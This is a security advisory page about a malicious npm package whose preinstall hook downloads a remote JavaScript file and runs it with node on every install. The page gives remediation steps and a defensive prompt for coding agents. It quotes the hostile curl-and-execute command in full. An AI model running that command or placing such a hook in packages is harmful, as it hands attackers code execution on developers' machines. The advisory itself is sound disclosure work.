# MAL-2026-5646: Malicious code in sn-internal-testjgsakjdkjadkjahsdkjad (npm)


- **Type:** Malicious package
- **Package:** `sn-internal-testjgsakjdkjadkjahsdkjad` (npm)
- **Published:** 11 Jun 2026
- **Also known as:** GHSA-cxhc-w3f2-3fx4

## What is MAL-2026-5646?

MAL-2026-5646 is a malicious package in sn-internal-testjgsakjdkjadkjahsdkjad, published on 11 Jun 2026. 

### Official description

package.json declares a preinstall lifecycle hook that runs `curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js`. On any `npm install`, the script fetches an unpinned, mutable JavaScript file from poc.amanrawat.com over plain HTTPS and immediately executes it with node under the installer's user account. There is no hash or signature verification, no version pinning, and the destination is not a recognized runtime/CDN or publisher-owned host. The package name (`sn-internal-testjgsakjdkjadkjahsdkjad`), description ("This is our internal app for testing"), and the `poc.` (proof-of-concept) hostname indicate this is a dependency-confusion / supply-chain PoC, but the install-time payload is a real and unconditional remote-code-execution primitive against any installer.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-5646?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5646 is a malicious package: sn-internal-testjgsakjdkjadkjahsdkjad (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5646/ (Markdown: https://insights.sbomify.com/MAL-2026-5646/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5646

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5646/
Summaries are generated and may contain mistakes; the official description above is the record.